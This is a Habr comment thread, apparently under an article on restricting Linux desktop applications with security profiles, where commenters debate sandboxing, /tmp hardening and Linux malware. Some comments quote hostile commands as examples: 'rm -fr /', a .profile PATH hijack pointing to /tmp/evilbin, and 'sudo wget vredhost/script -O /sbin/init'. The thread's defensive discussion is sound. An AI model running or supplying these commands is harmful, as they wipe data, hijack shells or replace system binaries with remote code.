Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
Хабр доступен 24/7 благодаря поддержке друзей
Комментарии 109
Первым делом процесс плеера через специальное API применяет для себя ограничивающий профиль
Зачем это делать в реальном времени?
Автор пакейджа вполне может этот конфиг для SELinux/AppArmour класть в deb, или даже генерировать в postinst скрипте (%post секции для RPM).
Никаких проблем.
Зачем это делать в реальном времени?
Автор пакейджа вполне может этот конфиг для SELinux/AppArmour класть в deb, или даже генерировать в postinst скрипте (%post секции для RPM).
Никаких проблем.
В принципе, да, можно в пакет.
Я исходил из того что:
— если приложений с профилями будет много, то их как сейчас надо будет перечитывать при загрузке системы
— большая гибкость, например разные профили в зависимости от режима работы приложения
Я исходил из того что:
— если приложений с профилями будет много, то их как сейчас надо будет перечитывать при загрузке системы
— большая гибкость, например разные профили в зависимости от режима работы приложения
А если автор пакета не настолько сознателен (или просто бессознателен) и профиль (конфиг) сгенерит с завышенными полномочиями?
Доверять автору приложения ограничение возможностей этого самого приложения — не самый безопасный вариант.
Доверять автору приложения ограничение возможностей этого самого приложения — не самый безопасный вариант.
>Доверять автору приложения ограничение возможностей этого самого приложения — не самый безопасный вариант.
В данном случае будет не «автору приложения», а «мейнтейнеру пакета».
В случае «сам пишу — сам пакую — сам распространяю», конечно, нет никакой разницы, но для пакетов из репозитория вполне сработает, ибо доверия мейнтейнеру дистрибутива доверия чуть больше, чем автору софтины.
В данном случае будет не «автору приложения», а «мейнтейнеру пакета».
В случае «сам пишу — сам пакую — сам распространяю», конечно, нет никакой разницы, но для пакетов из репозитория вполне сработает, ибо доверия мейнтейнеру дистрибутива доверия чуть больше, чем автору софтины.
Год использования Gentoo показал что намного лучше когда автор поставляет человеческий способ сборки софта, чем готовые пакеты для пары любимых дистров.
На генту — да.
Но в других дистрибутивах есть специфичные правила расположения файлов, триггеры и другие механизмы «межпакетного взаимодействия», и автор не всегда их знает хорошо.
Отличный пример — deb-пакеты у ванильного ядра линукса. Которые make deb-pkg. Вроде всё хорошо, но пакеты при установке не запускают update-grub, в результате чего не появляются в менюшке.
Но в других дистрибутивах есть специфичные правила расположения файлов, триггеры и другие механизмы «межпакетного взаимодействия», и автор не всегда их знает хорошо.
Отличный пример — deb-пакеты у ванильного ядра линукса. Которые make deb-pkg. Вроде всё хорошо, но пакеты при установке не запускают update-grub, в результате чего не появляются в менюшке.
[humor]Насколько же разные проблемы у гентушников (собралось бы) и deb-based (менюшка не обновилась)[/humor]
А проблемы и там и там одни. Не сломал бы чего пакетописатель. Просто автор ломает намного чаще чем дистровый мейнтейнер пакета.
И гентушники часто помогают найти баги с билдом, т.к. постоянно тестируют различные конфигурации. Если не собралось, и гентушник — не латентный убунтоид, то проблема в софте.
И гентушники часто помогают найти баги с билдом, т.к. постоянно тестируют различные конфигурации. Если не собралось, и гентушник — не латентный убунтоид, то проблема в софте.
Именно поэтому лучше чтобы автор сделал человеческий способ сборки софта, а не пакеты для пары любимых дистров.
Мейнтейнер свой дистр лучше знает.
Мейнтейнер свой дистр лучше знает.
не автору, а мейнтейнеру. Если мейнтейнеру не доверять, то запускать его скрипты из-под рута (а установка пакетов идёт именно с правами рута) — высшей степени глупость.
Пожалуйста, пишите комментарии. Интересно узнать мнение компетентных в данном вопросе людей. Спасибо!
Если нет каких либо уязвимостей в ядре (или в других важных компонентах) позволяющих повысить права, то напакостить он сможет только в пределах домашней директории.
А если в данный момент искомый плеер запустил и слушает root?
Значит root ССЗБ. vlc, кстати, запускать себя от рута не позволяет.
Как написали выше, рут просто ССЗБ.
Но, ничего не мешает применить профиль безопасности и к приложению запущенному с правами рута. По идеи, все должно быть безопасно.
Но, ничего не мешает применить профиль безопасности и к приложению запущенному с правами рута. По идеи, все должно быть безопасно.
тогда сразу rm -fr / чтобы не мучался бедняга, тогда следующий раз не будет под root'ом сидеть.
Когда браузеру надо будет сохранить скачиваемый файл, то он запустит gtk-save-dialog
Вообще, exec — не самый безопасный способ, обычно всё происходит в процессе браузера. Всё exec'нутое в tomoyo, например, получает по умолчанию профиль (например, enforcing) запустившего процесса без его прав (т.е. в чистой системе gtk-save-dialog не сможет ничего). Иначе к уязвимостям браузера добавляются уязвимости gtk-save-dialog.
За идею «изначально доверенных гуевых окошек сохранения файлов» закопают. Меня вполне устраивает управление tomoyo и особенно режим обучения, который заметно удобнее на десктопе, чем SELinux (хороший, но монстрообразный)/AppArmor.
Список того что можно запускать тоже может быть в профиле безопасности. Соответственно, браузеру можно будет запускать gtk-save-dialog и gtk-open-dialog.
1. Там очень немного кода и уязвимость маловероятна.
2. К этим диалогам можно применить свои профили. Им вообще ничего не надо читать/писать, ни одного файла, только показывать список файлов, даже если там будет уязвимость (хотя совершенно не ясно как ее эксплуатировать, если программа не открывает ни одного файла, не лезет в сеть и т.п.) опять же ничего нельзя будет испортить. У них есть одна специальная привилегия — правка профилей других процессов. Можно ограничить еще жестче, правка профиля только родительского процесса.
1. Там очень немного кода и уязвимость маловероятна.
2. К этим диалогам можно применить свои профили. Им вообще ничего не надо читать/писать, ни одного файла, только показывать список файлов, даже если там будет уязвимость (хотя совершенно не ясно как ее эксплуатировать, если программа не открывает ни одного файла, не лезет в сеть и т.п.) опять же ничего нельзя будет испортить. У них есть одна специальная привилегия — правка профилей других процессов. Можно ограничить еще жестче, правка профиля только родительского процесса.
Взломать можно все, но смысл весь в том, что в линуксе меньше возможностей.
Скачивание левого софта отпадает — репозитарии
Дыры быстро латаются в opensource программах
Я слежу за запущенными процессами, а также смотрю активность сети.
В общем это многие пользователи и под windows делают в виде виджетов.
В случае ботнета все будет заметно.
Теперь возмем локеры — создаем root пользователя, и в случае проблем под юзером мы просто жмем Ctrl+alt+F1 заходим под рутом и убиваем локер)
Ну а дальше уже легко все прикроется, ведь под windows нет общей системы обновлений для всех программ, вот и выходит, что пользователи используют устаревшие версии с набором багов и дыр.
Под Linux не нужен антивирус по причине того, что проще залатать правильно дыру и залить в репозитарий исправление, чем городить поверх системы костыли, которые будут выполнять ту же функцию)
Скачивание левого софта отпадает — репозитарии
Дыры быстро латаются в opensource программах
Я слежу за запущенными процессами, а также смотрю активность сети.
В общем это многие пользователи и под windows делают в виде виджетов.
В случае ботнета все будет заметно.
Теперь возмем локеры — создаем root пользователя, и в случае проблем под юзером мы просто жмем Ctrl+alt+F1 заходим под рутом и убиваем локер)
Ну а дальше уже легко все прикроется, ведь под windows нет общей системы обновлений для всех программ, вот и выходит, что пользователи используют устаревшие версии с набором багов и дыр.
Под Linux не нужен антивирус по причине того, что проще залатать правильно дыру и залить в репозитарий исправление, чем городить поверх системы костыли, которые будут выполнять ту же функцию)
>Взломать можно все, но смысл весь в том, что в линуксе меньше возможностей.
Но они есть, я предлагаю способ их убрать.
>Скачивание левого софта отпадает — репозитарии
А если чего то нет в репозитории? А так пользователь получит больше свободы.
>Дыры быстро латаются в opensource программах
Но они существуют и могут лататься не быстро, зависит от многих факторов. В случае применения данных механизмов их можно будет латать хоть месяц, все равно они будут безопасны.
>Я слежу за запущенными процессами, а также смотрю активность сети.
Linux становится все более популярным. Многие этого не делают, просто не знают как.
Я хочу чтобы система была безопасна для всех, и для админа и для его бабушки.
>В случае ботнета все будет заметно.
Во время атаки. А до атаки? У меня комп сутками работает, качает чего нибудь, например. Но сижу я за ним далеко не сутками. В мое отсутствие может много чего произойти.
>Теперь возмем локеры
А как же бабушка админа? А если внук уехал? А вместо любимого сериала гей-порно…
Тут не только про локеры тут в общем.
>Под Linux не нужен антивирус по причине того
Так и я говорю, что не нужен.
>проще залатать правильно дыру и залить в репозитарий исправление
Да, но тут все дыры станут безопасными, т.е. одна затычка на все дыры.
Но они есть, я предлагаю способ их убрать.
>Скачивание левого софта отпадает — репозитарии
А если чего то нет в репозитории? А так пользователь получит больше свободы.
>Дыры быстро латаются в opensource программах
Но они существуют и могут лататься не быстро, зависит от многих факторов. В случае применения данных механизмов их можно будет латать хоть месяц, все равно они будут безопасны.
>Я слежу за запущенными процессами, а также смотрю активность сети.
Linux становится все более популярным. Многие этого не делают, просто не знают как.
Я хочу чтобы система была безопасна для всех, и для админа и для его бабушки.
>В случае ботнета все будет заметно.
Во время атаки. А до атаки? У меня комп сутками работает, качает чего нибудь, например. Но сижу я за ним далеко не сутками. В мое отсутствие может много чего произойти.
>Теперь возмем локеры
А как же бабушка админа? А если внук уехал? А вместо любимого сериала гей-порно…
Тут не только про локеры тут в общем.
>Под Linux не нужен антивирус по причине того
Так и я говорю, что не нужен.
>проще залатать правильно дыру и залить в репозитарий исправление
Да, но тут все дыры станут безопасными, т.е. одна затычка на все дыры.
Дело в том, что линукс не един и за каждым пакетом стоит десяток своих людей, у них есть багтрекер — на 10 человек попадется хоть 1 человек, который туда напишет, а там такие дыры ставят выше любых багов работы и нововведений, 1-2 дня. И зачем тогда писать локера или юзать дыру если через 2 дня весь труд насмарку?
Толи дело Windows — есть крупные дыры, которые не фиксится десятками лет — прикрываются антивирусами Весь нужный софт почти для любого пользователя есть в репозитариях, я сомневаюсь, что бабушка будет компилировать Psi+, чтобы версия поновее была)
Да и как говорится, если у пользователя нет знаний или в простонародье «руки кривые» тут уже никакие антивирусы и безопасность не спасет, он сам скачает себе ядро с кучей зловредов и ботнетов и поставит его по инструкции — потому что где то там пишут, что это преведет к суперпупер крутости скорости и т.д. Это не убрать.
Толи дело Windows — есть крупные дыры, которые не фиксится десятками лет — прикрываются антивирусами Весь нужный софт почти для любого пользователя есть в репозитариях, я сомневаюсь, что бабушка будет компилировать Psi+, чтобы версия поновее была)
Да и как говорится, если у пользователя нет знаний или в простонародье «руки кривые» тут уже никакие антивирусы и безопасность не спасет, он сам скачает себе ядро с кучей зловредов и ботнетов и поставит его по инструкции — потому что где то там пишут, что это преведет к суперпупер крутости скорости и т.д. Это не убрать.
>Да и как говорится, если у пользователя нет знаний или в простонародье «руки кривые» тут уже никакие антивирусы и безопасность не спасет
Что то не вяжется с:
>он сам скачает себе _ядро_ с кучей зловредов
Собрать ядро с кривыми руками и без знаний трудновато будет. В ходе этого процесса руки выпрямятся и знания появятся.
Что то не вяжется с:
>он сам скачает себе _ядро_ с кучей зловредов
Собрать ядро с кривыми руками и без знаний трудновато будет. В ходе этого процесса руки выпрямятся и знания появятся.
я может не потеме, но меня всегда интересовало, что заставляет людей говорить слово «репозитАрий» вместо «репозитОрий»?
Испортить остальную систему, навредить другим пользователям, сделать серьезный LinLock (который будет не просто удалить) уже не получится.
Вы забываете о регулярно обнаруживаемых уязвимостях повышения привилегий. Конечно, их оперативно закрывают, но ведь не факт, что их найдут сразу. Если зловред будет использовать набор таких уязвимостей, он вполне может прописаться и системным процессом.
Поздравляю, вы изобрели SELinux/AppArmor.
Насчёт LinLock. Если зловред получает только права пользователя, сделать реально проблемный linlock не получится, всё исправляется тут же, входом в консольный режим, или если как-то испорчен .bashrc, через recovery mode. То есть, оно лечится встроенными инструментами ОС.
И потом, ваш сценарий с thumbnailer'ом, очень маловероятен, т.к. там требуется стечение целого ряда обстоятельств. В винде вирусы распространялись на флэшках не из-за уязвимости, а из-за архитектурного просчёта — работа в sinble-mode (по сути, юзер — админ) и возможность автозапуск сменных накопителей, которая включена по умолчанию и срабатывает молча. Поскольку в линуксе такой архитектурной проблемы нет, то и уязвимых систем даже если в случае, что гда-то там что-то будет обнаружено, будет слишком мало для сколь бы то ни было заметной эпидемии или просто распространения вируса.
Насчёт LinLock. Если зловред получает только права пользователя, сделать реально проблемный linlock не получится, всё исправляется тут же, входом в консольный режим, или если как-то испорчен .bashrc, через recovery mode. То есть, оно лечится встроенными инструментами ОС.
И потом, ваш сценарий с thumbnailer'ом, очень маловероятен, т.к. там требуется стечение целого ряда обстоятельств. В винде вирусы распространялись на флэшках не из-за уязвимости, а из-за архитектурного просчёта — работа в sinble-mode (по сути, юзер — админ) и возможность автозапуск сменных накопителей, которая включена по умолчанию и срабатывает молча. Поскольку в линуксе такой архитектурной проблемы нет, то и уязвимых систем даже если в случае, что гда-то там что-то будет обнаружено, будет слишком мало для сколь бы то ни было заметной эпидемии или просто распространения вируса.
Если зловред получает только права пользователя, сделать реально проблемный linlock не получится
Вы давно проверяли, что запускается по клику на значке терминала?
Хм… Это интересный вариант. :) Как метод защиты — запрет создавать/менять .desktop файлы для стандартных приложений. Или для любых приложений вообще. Или отдавать приоритет при объединении списков меню системным файлам перед файлами в директории пользователя. Или учитывать noexec флаг раздела при запуске .desktop-файлов.
Но это не меняет факта изготовления проблемного linlock. Всё лечится штатными средствами.
Или ещё проще, метод грубой силы — передать права на каталоги .config/autoexec .config/menu и прочие суперпользователю, запретив пользователю запись в эти каталоги.
Благо в линуксе есть надёжная архитектура, с помощью которой прикрыть проблемные места в случае чего — проще простого.
Но это не меняет факта изготовления проблемного linlock. Всё лечится штатными средствами.
Или ещё проще, метод грубой силы — передать права на каталоги .config/autoexec .config/menu и прочие суперпользователю, запретив пользователю запись в эти каталоги.
Благо в линуксе есть надёжная архитектура, с помощью которой прикрыть проблемные места в случае чего — проще простого.
Дописываем в .profile export PATH=/tmp/evilbin:$PATH и не надо править никаких .desktop. Суть в том, что если зловред запустился, то ему проблематично помешать. Фактически, вы не можете доверять ни одной команде, потому что не знаете, что именно было запущено в качестве шелла. Так что, скорее всего, придётся попросту запретить выполнение бинарников (в том числе .so, ибо есть LD_PRELOAD), полученных не из репозиториев, а пакеты подписывать централизованно раздаваемыми ключами.
А с попытками запустить бинарник из /tmp может разобраться apparmor и иже с ним.
С такими попытками лучше поможет справиться опция монтирования noexec.
Выделять ещё один раздел для tmp? Я понимаю три раздела: root, home и swap. Но ещё и tmp? Как-то это, ИМХО, слишком.
Можно смонтировать директорию /tmp через опцию bind c опцией noexec.
Не пробовал, но не вижу причин чтобы не получилось.
Не пробовал, но не вижу причин чтобы не получилось.
Я не пробовал, но в мане вроде как написано, что при bind не получится менять первоначальные -o флаги монтирования. Хотя вроде как можно, но немного странно:
Note that the filesystem mount options will remain the same as those on the original mount point, and cannot be changed by passing the -o option along with --bind/--rbind. The mount options can be changed by a separate remount command, for example:
mount --bind olddir newdir mount -o remount,ro newdir
В оперативку /tmp кидаешь, и винту легче и работает моментально. Плюс права какие угодно на раздел можно ставить.
Это спорное решение. В такой ситуации какой-нибудь mc (как и многие другие программы) при попытке открыть архив в несколько гигов сделает системе больно. Очень больно.
А ведь в PAM есть такая штука, которая подменяет содержимое /tmp на содержимое другой директории в домашней директории пользователя, обращающегося к /tmp.
Почему то это не применяется, а, как мне кажется, надо бы. Незачем в общей директории всем срач разводить, даже несмотря на то, что ее содержимое очищается при перезагрузке.
Очистку временной папки пользователя можно прописать в .profile.
Почему то это не применяется, а, как мне кажется, надо бы. Незачем в общей директории всем срач разводить, даже несмотря на то, что ее содержимое очищается при перезагрузке.
Очистку временной папки пользователя можно прописать в .profile.
Кстати, насчёт зловреда в папке /tmp. Он не переживёт перезагрузки.
TrueЪ-параноики давно запускают команды с полными путями. Я, например, всегда использую /bin/su вместо su )
> Или отдавать приоритет при объединении списков меню системным файлам перед файлами в директории пользователя.
И как тогда пользователь сможет править меню? Правки в меню и делаются .desktop-файлами в домашней директории пользователя.
И как тогда пользователь сможет править меню? Правки в меню и делаются .desktop-файлами в домашней директории пользователя.
Если интересует теория этого дела — курите в сторону систем безопасности, основанных на мандатах.
В андроидах что-то похожее уже реализовано.
В андроидах что-то похожее уже реализовано.
Разница во времени закрытия уязвимостей после их обнаружения. Обсудили здесь: habrahabr.ru/blogs/infosecurity/112801/
MS вынуждены неделями проверять, не ломает ли их заплатка какой-нибудь древний костыль.
MS вынуждены неделями проверять, не ломает ли их заплатка какой-нибудь древний костыль.
а повысить права можно и без уязвимости в ядре и т.п., смотря как настроен sudo, скрипт через определенное время дергается через sudo и в какой то момент сессия sudo будет открыта(как вы введете пароль на обновление или т.п.)
Только при условии, что скрипт и sudo были запущены на одном терминале.
Ох, промахнулся вопросом адресованным к вам, посмотрите чуть ниже пожалуйста.
>В linux часто графические программы — это только надстройка над консольными. Как их ограничивать — не понятно.
Графическая надстройка запускает консольное приложение уже с нужным профилем безопасности, см. пункт 2.
>Профили в самом приложении — не нужны, так как для всех языков программирования сложно сделать единое API.
Да, единое API в linux это «очень сложно»… /proc/[pid]/apparmor/profile — вот вам единое API для всех языков.
>Если выводить окошко на доступ к файлу, то кто в системе этим будет зниматься?
Обычное приложение, у которого есть специальная привилегия, которая позволяет изменять профили у запущенных процессов.
>Этим должно заниматься приложение, запущенное от другого пользователя, чтобы «плохой процесс» с ним ничего не мог сделать.
А что может другой процесс сделать?
Графическая надстройка запускает консольное приложение уже с нужным профилем безопасности, см. пункт 2.
>Профили в самом приложении — не нужны, так как для всех языков программирования сложно сделать единое API.
Да, единое API в linux это «очень сложно»… /proc/[pid]/apparmor/profile — вот вам единое API для всех языков.
>Если выводить окошко на доступ к файлу, то кто в системе этим будет зниматься?
Обычное приложение, у которого есть специальная привилегия, которая позволяет изменять профили у запущенных процессов.
>Этим должно заниматься приложение, запущенное от другого пользователя, чтобы «плохой процесс» с ним ничего не мог сделать.
А что может другой процесс сделать?
Не могли бы вы пояснить второй пункт, возможно я что-то не так понял?
Я с линукс плохо знаком, больше по маку, но все же. В mac os существует аналогичная система профилей, при этом есть и API для приложений чтобы они сами себе могли задать профиль безопасности (тот самый пример про плеер и сознательных разработчиков). Так вот я например знаю что мое приложение не пишет файлы, при инициализации я первым делом сообщаю системе что мне нужно запретить писать файлы и все… больше я не смогу писать в файлы. При этом внедриться в мой процесс не очень сложно, например заразив бандл какого-нибудь фреймворка, но «вредоносу» это уже не поможет, мое приложение в песочнице с ограниченными правами. На мой взгляд это вполне здравый подход. Ну а языки программирования — так это просто вызов функции с определенным набором параметров, я могу это сделать как из программы на objective-c, так и из программы на free pascal или real basic, никаких сложностей.
Я с линукс плохо знаком, больше по маку, но все же. В mac os существует аналогичная система профилей, при этом есть и API для приложений чтобы они сами себе могли задать профиль безопасности (тот самый пример про плеер и сознательных разработчиков). Так вот я например знаю что мое приложение не пишет файлы, при инициализации я первым делом сообщаю системе что мне нужно запретить писать файлы и все… больше я не смогу писать в файлы. При этом внедриться в мой процесс не очень сложно, например заразив бандл какого-нибудь фреймворка, но «вредоносу» это уже не поможет, мое приложение в песочнице с ограниченными правами. На мой взгляд это вполне здравый подход. Ну а языки программирования — так это просто вызов функции с определенным набором параметров, я могу это сделать как из программы на objective-c, так и из программы на free pascal или real basic, никаких сложностей.
А по поводу предупреждений типа
(«Скачано с www.zlovredi.ru. А вы уверены что хотите запустить исполняемый файл из непроверенного источника?»)
я полон пессимизма. Часто пользователи соглашаются со всем, даже не читая.
А вот сомнения автора по поводу пользы антивирусов я разделю. Под любую платформу. Давно ещё писал про это. kartz.ru/2010/03/24/antivir-delirium/
(«Скачано с www.zlovredi.ru. А вы уверены что хотите запустить исполняемый файл из непроверенного источника?»)
я полон пессимизма. Часто пользователи соглашаются со всем, даже не читая.
А вот сомнения автора по поводу пользы антивирусов я разделю. Под любую платформу. Давно ещё писал про это. kartz.ru/2010/03/24/antivir-delirium/
>я полон пессимизма. Часто пользователи соглашаются со всем, даже не читая.
Так и я тоже. Я об этом и пишу, что такие окна будут не нужны если приложение имеет безопасный профиль. А вот если небезопасный, то можно показать большое красное окно, где будет написано «Вы запускаете опасное приложение! Вы уверены?». Т.к. таких сообщений будет гораздо меньше, то и обращать внимание на них будут больше.
Так и я тоже. Я об этом и пишу, что такие окна будут не нужны если приложение имеет безопасный профиль. А вот если небезопасный, то можно показать большое красное окно, где будет написано «Вы запускаете опасное приложение! Вы уверены?». Т.к. таких сообщений будет гораздо меньше, то и обращать внимание на них будут больше.
Тезис про частоту появления вопросов интересен, но если пользователь может что-то испортить — то он когда-нибудь испортит. Даже если надо будет для этого 33 раза набить на клавиатуре «Я ПОНИМАЮ ОПАСНОСТЬ». Говорят, обезьяна может «Войну и мир» написать, вопрос времени только. А сложный прибор проще сломать, чем не сломать.
Я скорее за то, чтобы таких вопросов не было совсем. Вместо окна пользователю «эта порнушка может быть опасна» лучше отправлять сообщение администратору о попытке превышения полномочий и запуска неподписанного приложения или приложения с сомнительным профилем безопасности. Сомнительные — это те, которые меняют чужие конфиги или трогают автозапуск. А админ приходит и разбирается, решает задачу. Создаёт репозиторий лично проверенных порнофильмой, подписывает его своим ключём, импортирует ключ нужным пользователям в систему, к примеру )))
Либо разрешать запускать такое ПО только под другим пользователем, созданным специально для этого приложения с контролем или ограничением сетевой активности и вообще ресурсов (порты smtp закрыть, к примеру, и сканирование сети выявлять), ограничить число создаваемых инодов, nice отрегулировать. Типа «запуск приложения в этом сеансе невозможет, так как это может навредить безопасности. Хотите переключиться в новый сеанс? Точно-точно? Там обоев на рабочем столе не будет!»
В любом случае, оценка потенциальных слабых мест в компьютерной безопасности — это большая часть работы. Так что статья очень хорошая.
Я скорее за то, чтобы таких вопросов не было совсем. Вместо окна пользователю «эта порнушка может быть опасна» лучше отправлять сообщение администратору о попытке превышения полномочий и запуска неподписанного приложения или приложения с сомнительным профилем безопасности. Сомнительные — это те, которые меняют чужие конфиги или трогают автозапуск. А админ приходит и разбирается, решает задачу. Создаёт репозиторий лично проверенных порнофильмой, подписывает его своим ключём, импортирует ключ нужным пользователям в систему, к примеру )))
Либо разрешать запускать такое ПО только под другим пользователем, созданным специально для этого приложения с контролем или ограничением сетевой активности и вообще ресурсов (порты smtp закрыть, к примеру, и сканирование сети выявлять), ограничить число создаваемых инодов, nice отрегулировать. Типа «запуск приложения в этом сеансе невозможет, так как это может навредить безопасности. Хотите переключиться в новый сеанс? Точно-точно? Там обоев на рабочем столе не будет!»
В любом случае, оценка потенциальных слабых мест в компьютерной безопасности — это большая часть работы. Так что статья очень хорошая.
Ну и картинка с пояснением, куда ж без неё
dl.dropbox.com/u/2608230/img/bart.gif
dl.dropbox.com/u/2608230/img/bart.gif
Как вы себе представляете дома «админ приходит»?
Я имел в виду корпоративное использование. Дома пользователь той же Ubuntu может запросто заразить не только свой каталог, но всю систему, если ему напишут «Для просмотра порноролика отправьте yaloh на 777 и затем наберите в консоли sudo wget vredhost/script -O /sbin/init и свой пароль для системы».
Для дома «админ приходит» можно заменить на проверку квалификации пользователя. Для этого нужен набор вопросов типа «напишите полный путь к вашему домашнему каталогу» или «сколько разделов на вашем жёстком диске?». Хотя и это бредовая идея и не во всех случаях спасёт.
Ну есть ещё вариант резать всё неподписанное. Я его и придерживаюсь. Хочешь запустить — показывай паспорт и получай ключ. Тогда хоть будет понятно, кого по попке отшлёпать за зловреда. Понятно, что это не бесплатно, но процедуру можно сделать доступнее или найти спонсора. Марк Шаттлворт, кстати, именно на выдаче сертификатов и заработал денег на убунту.
Может я параноик, но флешплеер у меня не стоит в моей Ubuntu 8.04. Подписанных программ из официального репозитория хватает для всего. Система старая (скоро 3 года), пора бы обновить, но ведь работает, стерва такая, не ломается при всех моих экспериментах. А рисковать настроенным окружением неохота.
Кстати, если говорить о моей системе (да и о большинстве домашних убунт), но наибольшая опасность не в разрушении домашней директории (они у меня большая и всегда имеется резервная копия), а в порче файлов на примонтированные разделы. Они доступны для записи пользователю. Если это FAT или NTFS — то совсем беда. В случае с ext3 использую такой вариант. Есть директория со статическими файлами. Её содержимое вручную из-под рута делается незаписываемым. Там же хранятся и бэкапы. Такое положение вещей позволяет мне спать относительно спокойно. Запущенный из-под пользователя зловред не сможет много убить. Критично важные вещи, разумеется, хранятся также в ещё одном месте.
Для дома «админ приходит» можно заменить на проверку квалификации пользователя. Для этого нужен набор вопросов типа «напишите полный путь к вашему домашнему каталогу» или «сколько разделов на вашем жёстком диске?». Хотя и это бредовая идея и не во всех случаях спасёт.
Ну есть ещё вариант резать всё неподписанное. Я его и придерживаюсь. Хочешь запустить — показывай паспорт и получай ключ. Тогда хоть будет понятно, кого по попке отшлёпать за зловреда. Понятно, что это не бесплатно, но процедуру можно сделать доступнее или найти спонсора. Марк Шаттлворт, кстати, именно на выдаче сертификатов и заработал денег на убунту.
Может я параноик, но флешплеер у меня не стоит в моей Ubuntu 8.04. Подписанных программ из официального репозитория хватает для всего. Система старая (скоро 3 года), пора бы обновить, но ведь работает, стерва такая, не ломается при всех моих экспериментах. А рисковать настроенным окружением неохота.
Кстати, если говорить о моей системе (да и о большинстве домашних убунт), но наибольшая опасность не в разрушении домашней директории (они у меня большая и всегда имеется резервная копия), а в порче файлов на примонтированные разделы. Они доступны для записи пользователю. Если это FAT или NTFS — то совсем беда. В случае с ext3 использую такой вариант. Есть директория со статическими файлами. Её содержимое вручную из-под рута делается незаписываемым. Там же хранятся и бэкапы. Такое положение вещей позволяет мне спать относительно спокойно. Запущенный из-под пользователя зловред не сможет много убить. Критично важные вещи, разумеется, хранятся также в ещё одном месте.
Парсер лох, исправил http в команде.
Придумал как автоматизировать процесс обезопасивания файлов на примонтированных разделах kartz.ru/2011/02/06/readonly/
Всё это конечно круто, но есть слишком много но. Если заняться данным вопросом коллективно и желательно не только рунетом, уверен можно будет найти более лаконичное решение\предложение, а то и вовсе допилить AppArmor например. Ибо городить очередной костыль — не кошерно.
Не буду комментировать всю статью, так, несколько комментариев:
* фразе «Linux непопулярен, поэтому под него нет вирусов. Когда будет достаточно популярен, сразу появятся» уже ОЧЕНЬ много лет; все, вспоминающие её, забывают о том, что сейчас пользователей и устройств, использующих Linux, многократно больше, чем их было у Windows, когда под неё уже существовали сотни и тысячи вирусов; по обрывкам сведений в сети, пользователей десятки миллионов, устройств боюсь представить сколько, думаю, сотни миллионов смело можно указывать. Так что это, скорее, не сильно честный приём
Причины же достаточной надежности/защищенности Linux/Unix-like систем, на мой взгляд, весьма просты:
* очень простая, полностью открытая, прозрачная архитектура (что является и причиной появления некоторого количества уязвимостей); Linux [был] ОЧЕНЬ простым и понятным, здесь никогда не было реестров, привилегий типа system, каких-то недокументированных функций, скрытых загрузок, интеграцией всего и со всем, скрытых от пользователя каких-то неведомых программ, слушающих порты и т.д. и т.п. UNIX всегда был классической реализацией KISS-принципа. Грубо говоря, это просто набор скриптов и «костылей», которые запускаются в определенной последовательности и вы можете ПОЛНОСТЬЮ контролировать весь этот процесс от А до Я
* изначально правильная (для того времени) концепция системы, которую соблюдали ВСЕ производители ПО; не было такого ПО, которое бы требовало работу от root-а (кроме отдельных случаев коммерческого bloatware, зачастую писанного мало что понимающими в UNIX программистами или вовсе портированного с других платформ ПО; некоторые монстры до сих пор такие, к сожалению). Соответственно, большинство всегда работало от непривелигированного пользователя, что практически исключало глобальные поломки, хотя, к сожалению, все равно давало возможность из вредности уничтожить все данные пользователя, а они, как верно замечено, и есть самое важное из того, что есть на компьютере
* комментарий к предыдущему пункту: а теперь вспомните всё ПО под Windows, которое ТРЕБОВАЛО привилений администратора для работы и мучительные, долгие годы, пока всё это наконец не заработало под пользователем; однако, традиция осталась, ПО такого еще хватает, пользователи привыкли и им так удобнее, это «удобство» нерадивые установщики винды передают из поколения в поколение и т.д.
P.S. От себя замечу, что я хоть и использую Linux в жизни и на работе уже лет так 14, современные дистрибутивы, напичканные в нарушении принципа, сформулированного в книге Эви Немет — «Удобство всегда обратно пропорционально надежности/безопасности», всяческими регулярно меняющимися службами типа udev/d-bus/hal/и т.е., для меня являются тёмным лесом. Раньше диагностировать проблему было минутным делом, сейчас эти вроде бы облегчающие жизнь сервисы, в погоне за Windows/MacOs, на самом деле создают сложную для понимания, крайне нестабильную и ненадежную систему. И вот тут уже вполне вероятны вирусы, трояны и вообще всё, что угодно.
* фразе «Linux непопулярен, поэтому под него нет вирусов. Когда будет достаточно популярен, сразу появятся» уже ОЧЕНЬ много лет; все, вспоминающие её, забывают о том, что сейчас пользователей и устройств, использующих Linux, многократно больше, чем их было у Windows, когда под неё уже существовали сотни и тысячи вирусов; по обрывкам сведений в сети, пользователей десятки миллионов, устройств боюсь представить сколько, думаю, сотни миллионов смело можно указывать. Так что это, скорее, не сильно честный приём
Причины же достаточной надежности/защищенности Linux/Unix-like систем, на мой взгляд, весьма просты:
* очень простая, полностью открытая, прозрачная архитектура (что является и причиной появления некоторого количества уязвимостей); Linux [был] ОЧЕНЬ простым и понятным, здесь никогда не было реестров, привилегий типа system, каких-то недокументированных функций, скрытых загрузок, интеграцией всего и со всем, скрытых от пользователя каких-то неведомых программ, слушающих порты и т.д. и т.п. UNIX всегда был классической реализацией KISS-принципа. Грубо говоря, это просто набор скриптов и «костылей», которые запускаются в определенной последовательности и вы можете ПОЛНОСТЬЮ контролировать весь этот процесс от А до Я
* изначально правильная (для того времени) концепция системы, которую соблюдали ВСЕ производители ПО; не было такого ПО, которое бы требовало работу от root-а (кроме отдельных случаев коммерческого bloatware, зачастую писанного мало что понимающими в UNIX программистами или вовсе портированного с других платформ ПО; некоторые монстры до сих пор такие, к сожалению). Соответственно, большинство всегда работало от непривелигированного пользователя, что практически исключало глобальные поломки, хотя, к сожалению, все равно давало возможность из вредности уничтожить все данные пользователя, а они, как верно замечено, и есть самое важное из того, что есть на компьютере
* комментарий к предыдущему пункту: а теперь вспомните всё ПО под Windows, которое ТРЕБОВАЛО привилений администратора для работы и мучительные, долгие годы, пока всё это наконец не заработало под пользователем; однако, традиция осталась, ПО такого еще хватает, пользователи привыкли и им так удобнее, это «удобство» нерадивые установщики винды передают из поколения в поколение и т.д.
